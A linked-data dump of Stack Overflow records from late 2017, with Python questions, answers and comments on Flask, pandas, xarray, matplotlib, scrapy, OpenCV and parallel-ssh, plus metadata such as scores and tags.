http://stackoverflow.com/comment/81519588
type: Comment
type: AnswerComment
has text: Thanks and sorry but I need to edit the question to me more clear.
score: 0
comment on: http://stackoverflow.com/a/47284658

http://stackoverflow.com/comment/94724087
comment on: http://stackoverflow.com/a/47527824
type: AnswerComment
score: 0
type: Comment
has text: This works for me. This should be the correct answer.

http://stackoverflow.com/a/47315057
has comment: http://stackoverflow.com/comment/81586042
has body: You are missing the g++ compiler. You did not mention which Linux that you are running. Amazon Linux: yum install make glibc-devel gcc patch
downvote count: 0
has comment: http://stackoverflow.com/comment/81587111
has comment: http://stackoverflow.com/comment/81584975
has comment: http://stackoverflow.com/comment/81585708
score: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81585856
upvote count: 5
has comment: http://stackoverflow.com/comment/81586549
type: Answer
has comment: http://stackoverflow.com/comment/81585770
accepted answer of: http://stackoverflow.com/q/47312458
answers question: http://stackoverflow.com/q/47312458

http://stackoverflow.com/a/47265991
type: Answer
has comment: http://stackoverflow.com/comment/81488756
has comment: http://stackoverflow.com/comment/81487785
has body: It's channel.recv_exit_status(), not stdout.channel.recv_exit_status(). However, since you are trying to run the same command over many servers, something like parallel-ssh is a better fit and much faster than paramiko, both sequentially and in parallel. Code to do it is also much simpler, just: from pssh.pssh2_client import ParallelSSHClient hosts = ['192.168.1.1', '192.168.1.2'] _file = 'Nessus-6.11.2-es7.x86_64.rpm' cmd = 'rpm -U --percent %s' % _file client = ParallelSSHClient(hosts, user='&lt;user&gt;', password='&lt;password&gt;') output = client.run_command(cmd) for host, host_output in output.items(): for line in host_output.stdout: print "Host %s: %s" % (host, line) print "Host %s exit code %s" % (host, host_output.exit_code) restart_out = client.run_command('systemctl restart nessusd.service') # Just wait for completion client.join(restart_out) See documentation for further information.
has comment: http://stackoverflow.com/comment/81487980
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47230240
answers question: http://stackoverflow.com/q/47230240

http://stackoverflow.com/comment/81591692
type: Comment
type: QuestionComment
has text: what do you want? write to file? doesn't help if you just write the html content to the file?
score: 0
comment on: http://stackoverflow.com/q/47320174

http://stackoverflow.com/q/47242570
has answer: http://stackoverflow.com/a/57398036
answer count: 3
downvote count: 0
upvote count: 1
type: UnansweredQuestion
tagged with: flask
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81435849
score: 1
has body: I'm trying to set a background image using Python3 with Flask. My Python file looks like this: app = Flask(__name__, static_url_path='/static/', static_folder='/static/') @app.route("/", methods=["GET"]) def index(): return render_template('index.html') The HTML block includes: <link rel="stylesheet"... col 1 And my CSS file: .bg-logo{ background: url({{ url_for ('static', filename = '/static/img.png') }}); background-size: 100% 100%; height: 300px; background-size: cover; } For some reason, the browser can't get to the CSS file correctly. I need a way to serve the static files from the static folder without a @app.route
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has answer: http://stackoverflow.com/a/47242889
has answer: http://stackoverflow.com/a/49687524
tagged with: css
has comment: http://stackoverflow.com/comment/81454364
has comment: http://stackoverflow.com/comment/81438128
has title: Image not showing with Flask HTML CSS background image

http://stackoverflow.com/q/47361272
tagged with: python
has comment: http://stackoverflow.com/comment/81675615
has comment: http://stackoverflow.com/comment/81675809
has comment: http://stackoverflow.com/comment/81675905
upvote count: 4
tagged with: numpy
downvote count: 0
answer count: 1
has title: How turn this monthly xarray dataset into an annual mean without resampling?
accepted answer: http://stackoverflow.com/a/47364993
score: 4
has answer: http://stackoverflow.com/a/47364993
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81675737
tagged with: python-xarray
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81675935
has comment: http://stackoverflow.com/comment/81675880
has comment: http://stackoverflow.com/comment/81675984
tagged with: python-datetime
has body: I have an xarray of monthly average surface temperatures read in from a server using open_dataset with decode_times=False because the calendar type is not understood by xarray. After some manipulation, I am left with a dataset my_dataset of surface temperatures ('ts') and times ('T'): &lt;xarray.Dataset&gt; Dimensions: (T: 1800) Coordinates: * T (T) float32 0.5 1.5 2.5 3.5 4.5 5.5 6.5 7.5 8.5 9.5 10.5 11.5 ... Data variables: ts (T) float64 246.6 247.9 250.7 260.1 271.9 281.1 283.3 280.5 ... 'T' has the following attributes: Attributes: pointwidth: 1.0 calendar: 360 gridtype: 0 units: months since 0300-01-01 I would like to take this monthly data and calculate annual averages, but because the T coordinate aren't datetimes, I'm unable to use xarray.Dataset.resample. Right now, I am simply converting to a numpy array, but I would like a way to do this preserving the xarray dataset. My current, rudimentary way: temps = np.mean(np.array(my_dataset['ts']).reshape(-1,12),axis=1) years = np.array(my_dataset['T'])/12 I appreciate any help, even if the best way is redefining the time coordinate to use resampling. Edit: Requested how xarray was created, it was done via the following: import numpy as np import matplotlib.pyplot as plt import xarray as xr filename = 'http://strega.ldeo.columbia.edu:81/CMIP5/.byScenario/.abrupt4xCO2/.atmos/.mon/.ts/ACCESS1-0/r1i1p1/.ts/dods' ds = xr.open_dataset(filename,decode_times=False) zonal_mean = ds.mean(dim='lon') arctic_only = zonal.where(zonal['lat'] &gt;= 60).dropna('lat') weights = np.cos(np.deg2rad(arctic['lat']))/np.sum(np.cos(np.deg2rad(arctic['lat']))) my_dataset = (arctic_only * weights).sum(dim='lat')

http://stackoverflow.com/a/47291769
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47291576
has body: Figured it out. Something I clearly installed had modified by .bash_profile to include the following: # Setting PATH for Python 2.7 # The orginal version is saved in .bash_profile.pysave PATH="/Library/Frameworks/Python.framework/Versions/2.7/bin:${PATH}" export PATH I commented that out, restarted Code, and now I can see all my Python interpreters listed (including 3.6.3).
type: Answer
upvote count: 4
score: 4
answers question: http://stackoverflow.com/q/47291576
has comment: http://stackoverflow.com/comment/81842361

http://stackoverflow.com/comment/81461583
comment on: http://stackoverflow.com/q/47255390
score: 0
type: Comment
type: QuestionComment
has text: Is there no Python package to parse your file format?

http://stackoverflow.com/a/47309803
has comment: http://stackoverflow.com/comment/81570002
has comment: http://stackoverflow.com/comment/81570079
has comment: http://stackoverflow.com/comment/81569887
answers question: http://stackoverflow.com/q/47309363
has body: You should not define an __init__ method in your model class. (If you did, you should always be sure to call the superclass method using super(); but you shouldn't do it at all in this case.)
type: Answer
has comment: http://stackoverflow.com/comment/81569923
score: 0
has comment: http://stackoverflow.com/comment/81569967

http://stackoverflow.com/comment/81461943
has text: Are you trying to divide 4/32 and then multiply by 100? If so, cant replicate.
score: 0
comment on: http://stackoverflow.com/q/47255596
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/125822845
comment on: http://stackoverflow.com/a/47321016
type: Comment
has text: Great Solution @JeffC !
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81678244
has text: your problem has nothing to do with PyGame you don't event use PyGame code in your problem. You have rather problem with data organization. You keep data as `[row][column]` but maybe you shoud keep it as `[column][row]`. `[row][column]` means `(y,x)` but all drawing functions use `(x,y)` . Or you have to remeber that your data (and matrix in math) uses `(y, x)` and all drawing systems use `(x,y)`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47361769

http://stackoverflow.com/comment/81529898
type: QuestionComment
has text: First of all, check `np.mean(a_prev_slice,axis=(2,3)).shape`. Does it correspond with the shape you expect? It doesn't, it's actually a NumPy _array_ with more than one value. This is why Python tells you that you're "setting an array element with a sequence".
type: Comment
comment on: http://stackoverflow.com/q/47289675
score: 1

http://stackoverflow.com/comment/81522506
type: Comment
comment on: http://stackoverflow.com/a/47280171
type: AnswerComment
score: 0
has text: @dmnte please note - timedelta(minutes=5) added in `(convert(f[1]) - convert(f[0]) - timedelta(minutes=5) ).total_seconds()`

http://stackoverflow.com/comment/81786604
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47370079
has text: I've been thinking in base64 it but was not sure about sending a PIL Image Object, it impose a lot of restrictions in the client side, and before you post your answer I have opted by the api-call/:id/image solution, and it is working like a charm :)
type: Comment

http://stackoverflow.com/a/47322295
has body: You can use itemgetter for a more generic solution. &gt;&gt;&gt; from operator import itemgetter &gt;&gt;&gt; ls = [['2017-11-09', 21], ['2017-11-14', 39], ['2017-11-13', 43], ['2017-11-10', 37]] &gt;&gt;&gt; sorted(ls, key=itemgetter(0))
type: Answer
answers question: http://stackoverflow.com/q/47322054
score: 0

http://stackoverflow.com/q/47321797
possible better answer: http://stackoverflow.com/a/47321967
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47321915
has body: I have unique records in a dataframe, with no duplicates, as determined by combination of values across several columns: import pandas as pd d = {'Alpha' : ['C', 'B', 'C','D', 'A', 'A'], 'Beta' : ['G', 'F', 'G', 'H', 'A', 'A'],'Year': ['Base', 88, 94, 22, 'Base', 66], 'Zulu' : [1, 2, -3, 4, 5, -3]} df = pd.DataFrame(d) This gets us: Alpha Beta Year Zulu 0 C G Base 1 1 B F 88 2 2 C G 94 -3 3 D H 22 4 4 A A Base 5 5 A A 66 -4 Index 0 is a near match with index 2, &amp; index 4 is a near match with index 5, except that the 'Year' value for index 0 &amp; index 4 is Base, and 'Zulu' value for index 2 &amp; 5 are negative. I want to replace the negative 'Zulu' values in 2 &amp; 5 with their corresponding Zulu values in index 0 &amp; 4, without disrupting other rows. The output df would look like this: Alpha Beta Year Zulu 0 C G Base 1 1 B F 88 2 2 C G 94 1 3 D H 22 4 4 A A Base 5 5 A A 66 5 I can easily start with a filter &amp; deep copy to avoid slicing issues, &amp; then a backup of original data: df_sub = df[df.Zulu &lt; 0].copy(deep=True) df_sub['Zulu_backup'] = df_sub.Zulu I can then use df_sub to merge with the original: df_result = pd.merge(df_sub, df, how='right') Resulting in: Alpha Beta Year Zulu Zulu_backup 0 C G 94 -3 -3.0 1 A A 66 -3 -3.0 2 C G Base 1 NaN 3 B F 88 2 NaN 4 D H 22 4 NaN 5 A A Base 5 NaN But I don't know where to go from here without messing up the dataframe's other rows. I have a rather convoluted script. I am guessing I could create a series and map it to the dataframe, but I'm at a loss as to how to do so. Iterating through this is not an option as I have millions of rows. Would appreciate any assistance.
answer count: 2
tagged with: conditional-statements
tagged with: records
has answer: http://stackoverflow.com/a/47321915
has title: Pandas: replace records based on conditional test in column
tagged with: python
tagged with: replace
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47321967
tagged with: pandas
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47306408
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47299196
has comment: http://stackoverflow.com/comment/81580566
type: Answer
has body: In order to change the colors, you need to use sc.set_array(Heatintensity[(i*30000):(i*30000)+30000]) in addition to changing the offsets. In order for the colors to represent the same numerical values for each animation step, the scatter must be normalized to all data, norm = plt.Normalize(Heatintensity.min(), Heatintensity.max()) Complete example: import numpy as np import matplotlib.pyplot as plt Heatintensity=np.random.rand(600000) #Values controlling scatter colormap Xs=np.random.rand(600000) Ys=np.random.rand(600000) plt.ion() fig, ax = plt.subplots() norm = plt.Normalize(Heatintensity.min(), Heatintensity.max()) sc = ax.scatter(Xs, Ys, c=Heatintensity, s=5, cmap=plt.cm.jet, norm=norm) plt.draw() for i in range(20): # set coordinates sc.set_offsets(np.c_[Xs[(i*30000):(i*30000)+30000],\ Ys[(i*30000):(i*30000)+30000]]) # set colors sc.set_array(Heatintensity[(i*30000):(i*30000)+30000]) # draw and make pause plt.pause(0.1) plt.ioff() plt.show() The same can be achieved using a FuncAnimation: import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation Heatintensity=np.random.rand(600000) #Values controlling scatter colormap Xs=np.random.rand(600000) Ys=np.random.rand(600000) fig, ax = plt.subplots() norm = plt.Normalize(Heatintensity.min(), Heatintensity.max()) sc = ax.scatter(Xs, Ys, c=Heatintensity, s=5, cmap=plt.cm.jet, norm=norm) def update(i): # set coordinates sc.set_offsets(np.c_[Xs[(i*30000):(i*30000)+30000],\ Ys[(i*30000):(i*30000)+30000]]) # set colors sc.set_array(Heatintensity[(i*30000):(i*30000)+30000]) ani = animation.FuncAnimation(fig, update, frames=range(20), interval=100) plt.show()
answers question: http://stackoverflow.com/q/47299196
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81604394
has text: i included import sys reload(sys) sys.setdefaultencoding('utf-8') it gives an csv output wr.writerow([c.decode('utf-8') for c in list]) thanks for the help Daniel.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47326627
type: AnswerComment

http://stackoverflow.com/q/47258282
downvote count: 0
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/48092385
has answer: http://stackoverflow.com/a/48092385
tagged with: python
has title: Trouble reading MARC data using MARCReader() and pymarc
tagged with: ascii
type: AnsweredQuestion
score: 2
tagged with: marc
has body: So I am trying to teach myself python and pymarc for a school project I am working on. I have a sample marc file and I am trying to read it using this simple code: from pymarc import * reader = MARCReader(open('dump.mrc', 'rb'), to_unicode=True) for record in reader: print(record) The for loop is to just print out each record to make sure I am getting the correct data. The only thing is I am getting this error: UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 0: ordinal not in range(128) I've looked online but could not find an answer to my problem. What does this error mean and how can I go about fixing it? Thanks in advance.
upvote count: 2
answer count: 1

http://stackoverflow.com/comment/81454121
has text: @yimei You cannot run python code directly from a JS file on client side as stated above. Run that python script on a remote servlet like a Flask and expose an API endpoint from which you'll get responses via AJAX (and send request via the same method) or just place that file on the server and run it as a subprocess called by an JS endpoint (again, ***backend..***), whichever way you find most suitable.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47250613
type: QuestionComment

http://stackoverflow.com/q/47375444
has title: Is it possible to detect eyes only without detecting the face?
type: Question
score: 0
tagged with: haar-classifier
tagged with: python
tagged with: image-processing
has comment: http://stackoverflow.com/comment/81830780
has body: I have been studying in Haar-cascade. I have been following tutorial whicg detect faces and then detect eyes. From I found online, mostly it will be face detected first then eyes. Is it not possible to detect eyes only? This is my code for detect faces and eyes. import cv2 import numpy face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml') eye_cascade = cv2.CascadeClassifier('haarcascade_lefteye_2splits.xml') cap = cv2.VideoCapture(0) while True: ret, img = cap.read() gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray,1.3,5) for (x,y,w,h) in faces: cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) rol_gray = gray[y:y+h,x:x+w] rol_color = img[y:y+h,x:x+w] eyes = eye_cascade.detectMultiScale(gray,1.5,5) if eyes is None: print ("Can't find") for (ex,ey,ew,eh) in eyes: cv2.rectangle(img,(ex,ey),(ex+ew,ey+eh),(0,255,0),2) cv2.imwrite('FaceFileName.jpg', img) cv2.imshow('img',img) k = cv2.waitKey(30) % 0xFF if k == 27: break; cap.release() cv2.destroyAllWindows() As you can see I use cascade for detect face first and then eyes. I also tried remove face cascade, only eyes cascade remained. The result is eyes can't be found. Can haar-cascade detect eyes only? Is it necessary to detect face first then eyes?
answer count: 0
has comment: http://stackoverflow.com/comment/81755290
type: UnansweredQuestion

http://stackoverflow.com/comment/81666981
comment on: http://stackoverflow.com/q/47356748
type: Comment
has text: with higher probability generate lower index for the array, so that lower value is chosen. i.e. the requirement is to generate index in a specified range , in this case 0 .. 10
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81638439
comment on: http://stackoverflow.com/q/47343091
type: QuestionComment
score: 0
has text: Have you printed `select` as a basic check that it does contain the desired text?
type: Comment

http://stackoverflow.com/comment/81488371
type: QuestionComment
has text: By isolated, you mean nodes with no edges into or out of? What if you have two unconnected subgrapghs like A-B, C-D? The two are not connected to each other, but they have connections to other nodes.
score: 0
comment on: http://stackoverflow.com/q/47268788
type: Comment

http://stackoverflow.com/comment/81498537
has text: @user2357112 well you didn't explain the "window" terminology either? As far as I can tell, your answer isn't much different from the answers on the linked page. Why did you feel compelled to reopen the question to post your answer (that is, in its current state)? You could post it there, after all.
comment on: http://stackoverflow.com/q/47273297
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47374858
has comment: http://stackoverflow.com/comment/81722560
has comment: http://stackoverflow.com/comment/81712215
has body: If the game ids are numbered sequentially then it would be as simple as nesting all your code under a for loop that iterates through all the game ids and using str.format() add the necessary padding to the number in this case some parts would change: import csv import requests import os for i in range(1, 1273): url = 'https://statsapi.web.nhl.com/api/v1/game/201702{:04d}/feed/live?site=en_nhl'.format(i) req = requests.get(url) req.raise_for_status() data = req.json() my_data = [] pk = data['gameData']['game']['pk'] for item in data['liveData']['plays']['allPlays']: players = item.get('players') if players: player_a = players[0]['player']['fullName'] if len(players) &gt; 0 else None player_b = players[1]['player']['fullName'] if len(players) &gt; 1 else None else: player_a, player_b = None, None event = item['result']['event'] time = item['about']['periodTime'] triCode = item.get('team', {}).get('triCode') coordinates_x, coordinates_y = item['coordinates'].get('x'), item['coordinates'].get('y') my_data.append([pk, player_a, player_b, event, time, triCode, coordinates_x, coordinates_y]) headers = ["pk", "player_a", "player_b", "event", "time", "triCode", "coordinates_x", "coordinates_y"] with open("NHL_201702{:04d}.csv".format(i), "a", newline='') as f: writer = csv.writer(f) writer.writerow(headers) writer.writerows(my_data) One last correction is that using with ... as makes it so that you don't need to close the file explictily. You can find additional information on using str.format() here
has comment: http://stackoverflow.com/comment/81711887
type: Answer
has comment: http://stackoverflow.com/comment/81714838
answers question: http://stackoverflow.com/q/47374559
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81717184
has comment: http://stackoverflow.com/comment/81714425
downvote count: 0
has comment: http://stackoverflow.com/comment/81702189

http://stackoverflow.com/a/63460291
type: Answer
answers question: http://stackoverflow.com/q/47382359
score: 0
has body: Here's a simple solution using a systemd timer unit. It's working for me. # The quiesce-wait-reboot.timer target places system in rescue mode to quiesce all services # and then waits for the above interval for the UPS to run out of battery and shutdown # If line power is restored and the UPS doesn't shutdown, the timer will expire and cause a reboot # # It should be started with "systemctl isolate quiesce-wait-reboot.timer" # by doing an isolate, all services not part of rescue.target will be shutdown [Unit] Description=Quiesce to Rescue Mode, Wait, then Reboot - addresses UPS race condition Requires=rescue.target After=rescue.target AllowIsolate=yes [Timer] OnActiveSec=900 Unit=reboot.target

http://stackoverflow.com/q/47241751
answer count: 2
downvote count: 0
tagged with: web-scraping
upvote count: 1
has answer: http://stackoverflow.com/a/47241904
tagged with: scrapy
favorite count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81446310
score: 1
possible better answer: http://stackoverflow.com/a/47241904
accepted answer: http://stackoverflow.com/a/47268340
tagged with: scrapy-shell
tagged with: python
has comment: http://stackoverflow.com/comment/81451694
has answer: http://stackoverflow.com/a/47268340
has comment: http://stackoverflow.com/comment/81434476
has body: i need the a selector to scrape the value after the euro symbol (\u20ac). &lt;Selector xpath='//*[@class="col-sm-4"]/text()' data=u'\r\n\t\t \u20ac 30.000,00'&gt; I tried dozens of variations that i have found here on stackoverflow and elsewere but i cant get it. Sides like https://regexr.com/ show me that something like this: response.xpath('//*[@class="col-sm-4"]/text()').re('(\u20ac).\d*.\d*.\d*') should work, but it doesnt. EDIT: Here a example link of Data that i would like to scrape: https://www.firmenabc.at/manfred-jungwirth-montagen_MoKY Would appreciate help! Michael
has comment: http://stackoverflow.com/comment/81446984
has comment: http://stackoverflow.com/comment/81455890
has title: Scraping Value after Euro Symbol (Scrapy-Python)

http://stackoverflow.com/q/47311352
downvote count: 0
accepted answer: http://stackoverflow.com/a/47311467
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81573467
possible better answer: http://stackoverflow.com/a/47315803
has answer: http://stackoverflow.com/a/47311467
has answer: http://stackoverflow.com/a/47315803
tagged with: python
type: AnsweredQuestion
has title: How to convert c++ for loop to Python?
has comment: http://stackoverflow.com/comment/81573351
has body: I wrote a code in C++ and would like to convert it to Python3. How to do that? int N = 1000 for (p=2; p*p&lt;=N; p++) for (w=p*p; w&lt;=N; w=w+p) I tried to change the first for loop to: for p in range(2,N**0.5+1): But it doesn't work - TypeError: 'float' object cannot be interpreted as an integer And what about the second for loop?
answer count: 2
tagged with: for-loop
score: 3
upvote count: 3

http://stackoverflow.com/a/47346045
has body: By looking at the behaviour of the comparison operators (&lt;, &gt;, ==, !=), you can check that they treat integers as being smaller than non-empty strings. raw_input() returns a string (rather than an integer as you expected), hence your while loops indefinitely. Just switch to input(): count = 0 x = input() while count &lt; x: print(count) count += 1 Alternatively, you can use int(raw_input()), but I always use (and prefer) the former. All this is assuming you use Python 2.
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47345935
type: Answer

http://stackoverflow.com/q/47337285
tagged with: algorithm
accepted answer: http://stackoverflow.com/a/47337353
has answer: http://stackoverflow.com/a/47337353
downvote count: 5
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47337384
has title: how could I convert c++ to python
tagged with: c++
upvote count: 4
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81626486
possible better answer: http://stackoverflow.com/a/47337384
has body: #include &lt;iostream&gt; using namespace std; int main() { int n; int i; int k; cout &lt;&lt; "please insert n"; cin &gt;&gt; n; k=0 ; for (i = n; i &gt; 1; i--) { cout &lt;&lt; "/n "&lt;&lt; k &lt;&lt; "+" &lt;&lt; i &lt;&lt; "=" &lt;&lt; i + k++; } return 0; } I'm trying to reproduce the above code in python, but I'm not sure what I'm getting wrong. I'm not sure how to start at a number, then decrement until the condition is met. Here's what I have so far: k=0 n=4 for i in range(n) if i &gt; 1 : i-=1 k+=1 print(i+k++) What am I doing wrong?
has comment: http://stackoverflow.com/comment/81626430
favorite count: 0
type: Question

http://stackoverflow.com/a/47276759
type: Answer
accepted answer of: http://stackoverflow.com/q/47272923
score: 2
has comment: http://stackoverflow.com/comment/81526780
answers question: http://stackoverflow.com/q/47272923
has comment: http://stackoverflow.com/comment/81505801
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81526754
downvote count: 0
has body: I think, you have to do this: @api.depends('order_lines', 'order_lines.isbn') def _get_products(self): isbn = self.env['product.product'] for prodtmpl in self.order_lines: isbn |= prodtmpl.isbn return isbn and this line in your method action_open_isbn result['domain'] = "[('isbn','in',[" + ','.join(map(str, isbn.ids)) + "])]" [UPDATE] Second error: @api.model def _get_act_window_dict(self, name): mod_obj = self.env['ir.model.data'] result = mod_obj.xmlid_to_object(name) if not result: # this is just fallback if module stock is not installed # make sure you installed module stock and give dependency in your module result = { 'view_type': 'form', 'view_mode': 'tree,form', 'res_model': 'stock.quant', 'name': 'Stock On Hand', 'type': 'ir.actions.act_window', } else: result = result[0].read()[0] return result
has comment: http://stackoverflow.com/comment/81507982
has comment: http://stackoverflow.com/comment/81504704

http://stackoverflow.com/comment/81674140
score: 0
type: Comment
type: QuestionComment
has text: yes it is true. I just noticed that. I was using a2 matrix. The weight w, how should me updated ?
comment on: http://stackoverflow.com/q/47357431

http://stackoverflow.com/a/47383743
score: 0
type: Answer
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47378149
has body: You need to create three separate arrays and sort by the combination of all them. In this example, I use Numpy's np.lexsort to do the sorting and then I use iloc to respect that sort. At the end, I use a[::-1] to get the reverse sort. a = np.lexsort([ df.D.values, df.groupby(level=[0, 1]).D.transform('sum').values, df.groupby(level=0).D.transform('sum').values ]) df.iloc[a[::-1]] D A B C Gran2 Par3 Child2 8 Child1 6 Par2 Child1 8 Child3 3 Child2 2 Par1 Child1 3 Gran1 Par1 Child2 7 Child1 3 Child3 2 Par2 Child1 9 Child2 2 Par3 Child1 6
answers question: http://stackoverflow.com/q/47378149

http://stackoverflow.com/comment/81571059
comment on: http://stackoverflow.com/q/47309852
type: Comment
has text: I thought so. Maybe you should accept James answer then.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81511838
has text: It's not showing any errors but still it's not re-ordering the users?
type: AnswerComment
comment on: http://stackoverflow.com/a/47279891
score: 0
type: Comment

http://stackoverflow.com/q/47309666
type: Question
tagged with: xpath
has body: the html text is: Tarif : 3 065 € HT 8 605 € HT forfait repas Tarif : 6 570 € HT in this example i want always extract the first occurrence (3065) and ( 6 570) this is my code: training["price"] = ' '.join(response.xpath('//div[@class="product-price"]//text()').re((r'(\d+)'))) i tried with search but there is a mistake ? please help
has comment: http://stackoverflow.com/comment/81569764
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81604241
has comment: http://stackoverflow.com/comment/81569666
has comment: http://stackoverflow.com/comment/81570086
tagged with: python
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81604347
has title: extract the first number or occurrence using regular expression in scarpy
tagged with: web-scraping

http://stackoverflow.com/comment/81632002
type: Comment
type: QuestionComment
has text: also, looks like you are simply copying the files with a .txt extension. you can just do something like `for file in ./*.csv; do cp $file ./output/$file; done` if on linux
comment on: http://stackoverflow.com/q/47339698
score: 0

http://stackoverflow.com/comment/81657556
comment on: http://stackoverflow.com/q/47352609
has text: Yes I need the result ['Cat, Cow', 'Dog', '', 'Cat'] in order. Sorry for not mentioning it.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/47292230
answers question: http://stackoverflow.com/q/47291987
has comment: http://stackoverflow.com/comment/81566857
type: Answer
has body: It looks like the imread method is intended to read an image from a file. There's a different method, imdecode, for reading the image from memory. Try replacing line 4 of your code with this: test_image = cv2.imdecode(test_image.read()) Source: https://docs.opencv.org/3.0-beta/modules/imgcodecs/doc/reading_and_writing_images.html https://docs.djangoproject.com/en/1.11/ref/files/uploads/
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81535053
score: 2

http://stackoverflow.com/comment/81678478
has text: On the first iteration, you divide by 0 because `len([])` is 0.
score: 0
comment on: http://stackoverflow.com/q/47362791
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47261427
upvote count: 1
has body: You need to specify the return type for the UDF. Define a schema like this schema = ArrayType(StructType([StructField("word",StringType(), True), StructField("freq",LongType(), True)])) and change the udf to f.udf(word_count, schema)
answers question: http://stackoverflow.com/q/47259657
type: Answer
accepted answer of: http://stackoverflow.com/q/47259657
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47335740
accepted answer of: http://stackoverflow.com/q/47335531
has comment: http://stackoverflow.com/comment/81623725
has comment: http://stackoverflow.com/comment/81623442
type: Answer
answers question: http://stackoverflow.com/q/47335531
has comment: http://stackoverflow.com/comment/81629322
has comment: http://stackoverflow.com/comment/81623170
has comment: http://stackoverflow.com/comment/81629428
downvote count: 0
has comment: http://stackoverflow.com/comment/81624546
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81624916
has comment: http://stackoverflow.com/comment/81623631
has comment: http://stackoverflow.com/comment/81623468
upvote count: 3
has body: Try ((df['Change'].shift() &lt; 0) &amp;(df['Change'].shift(2) &lt; 0)).idxmax() You get '2009q1' For the Edit, just a little tweak to the condition ((df['Change'] &lt; 0) &amp;(df['Change'].shift(-1) &lt; 0)).idxmax() And you get '2008q3'
score: 3

http://stackoverflow.com/comment/81414577
score: 0
type: Comment
type: QuestionComment
has text: `[1,2], [0,3], [3,4]` generates the error. You are using the `df` that works fine.
comment on: http://stackoverflow.com/q/47231398

matplotlib-basemap
type: Tag
tags question: http://stackoverflow.com/q/47267825
tag name: matplotlib-basemap
tags question: http://stackoverflow.com/q/47341324
tags question: http://stackoverflow.com/q/47271039
tags question: http://stackoverflow.com/q/47226375
tags question: http://stackoverflow.com/q/47302343

cx-freeze
tags question: http://stackoverflow.com/q/47308752
tag name: cx-freeze
tags question: http://stackoverflow.com/q/47223944
tags question: http://stackoverflow.com/q/47359439
tags question: http://stackoverflow.com/q/47264636
tags question: http://stackoverflow.com/q/47327943
tags question: http://stackoverflow.com/q/47354499
type: Tag
tags question: http://stackoverflow.com/q/47359677
tags question: http://stackoverflow.com/q/47282308

http://stackoverflow.com/q/47233342
accepted answer: http://stackoverflow.com/a/47233400
has answer: http://stackoverflow.com/a/47233400
has body: Trying to iterate through command line argument to check if each of the chars inside the string is an alphabet. TypeError: string indices must be integers import sys k = sys.argv[1] if len(sys.argv) != 2: print("Error.") return 1 else: for i in k: if k[i].isalpha() == False: return 1 print("Error.")
answer count: 1
tagged with: python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81418018
has title: TypeError while looping through argv (Python)
score: 0
tagged with: argv
upvote count: 1
downvote count: 1
type: AnsweredQuestion

ctypes
tags question: http://stackoverflow.com/q/47310250
tags question: http://stackoverflow.com/q/47278302
tags question: http://stackoverflow.com/q/47276327
tag name: ctypes
type: Tag
tags question: http://stackoverflow.com/q/47372607
tags question: http://stackoverflow.com/q/47311220
tags question: http://stackoverflow.com/q/47277268
tags question: http://stackoverflow.com/q/47360113

http://stackoverflow.com/comment/81637281
has text: Would be better to use `set` instead of `list`. Check `'Patrick': ['Penny', 'Philip', 'Penny']`
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47342526

http://stackoverflow.com/comment/81499641
has text: thk's for answer yes it's like that, i can't indent everything below the def line because my loops are in loops
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47274032
score: 0

global-variables
tags question: http://stackoverflow.com/q/47226075
tag name: global-variables
tags question: http://stackoverflow.com/q/47325121
type: Tag
tags question: http://stackoverflow.com/q/47361752
tags question: http://stackoverflow.com/q/47247867
tags question: http://stackoverflow.com/q/47295838

http://stackoverflow.com/q/47318189
tagged with: python
accepted answer: http://stackoverflow.com/a/47318339
has comment: http://stackoverflow.com/comment/81587685
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/47318339
answer count: 3
has title: Why aren't there quotes in sys.argv when they were used at the command line?
has comment: http://stackoverflow.com/comment/81587605
has comment: http://stackoverflow.com/comment/81587712
upvote count: 5
